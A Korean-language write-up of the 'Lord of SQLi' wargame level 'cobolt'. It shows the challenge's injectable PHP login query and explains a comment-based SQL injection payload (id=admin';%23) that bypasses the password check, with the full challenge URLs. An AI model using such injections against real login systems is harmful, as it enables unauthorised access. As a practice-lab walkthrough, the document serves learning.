Lord of SQLi - cobolt

> query : select id from prob_cobolt w here id=” and pw =md5(”)

```
<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysql_fetch_array(mysql_query($query));
  if($result['id'] == 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
  highlight_file(__FILE__);
?>
```

- GET방식으로 id 와 pw 을 넘겨주고 있다.
- id와 pw 둘 다 prob, _, ., () 문자만 필터링 하고있다. 문제의 DB를 공격하여 DB를 수정하는 것을 막는다.
- mysql에서 id는 그대로, pw 는 md5 해시함수로 해싱해서 select구문을 실행하도록 쿼리를 전달한다.

> query : select id from prob_cobolt w here id=” and pw =md5(”)
> 위 쿼리를 DB에 전송하여 id컬럼의 값이 'admin’이면 문제가 풀린다.

- md5()는 암호화 해시함수로 해시 값으로부터 원래의 입력값과의 관계를 찾기 어려운 성질을 가지는 함수이다.
- md5()로 감싼 pw 에서 쿼리를 탈출하는 것은 힘들다. 그래서 id에서 탈출을 할 것이다.
- URL로 id=admin’;%23

```
<?php
  $_GET['id'];
?>
```

- 위와 같이 슈퍼전역변수에 admin이라는 값을 전달하고 mysql쿼리를 종료할 수 있도록 싱글쿼터와 주석인 #을 URL인코딩해서 GET방식으로 전달해주면 URL이 아래와 같다.

> ?id=admin’;%23%20 //%20은 공백이다.

- 전달을 하면 쿼리는 아래와 같다.

```
<?php
        $query = "select id from prob_cobolt where id='admin';# ' and pw=md5('')"
?>
```

- id가 admin이 되고 pw 는 검사하지 않으니 결과가 나온다. 즉 문제가 풀린다.

payload

> URL : http://los.eagle-jump.org/cobolt_ee003e254d2fe4fa6cc9505f89e44620.php?id=admin’;%23
> or
> URL : http://los.eagle-jump.org/cobolt_ee003e254d2fe4fa6cc9505f89e44620.php?id=admin’;%23

> query : select id from prob_cobolt w here id=‘admin’;# ’ and pw =md5(”)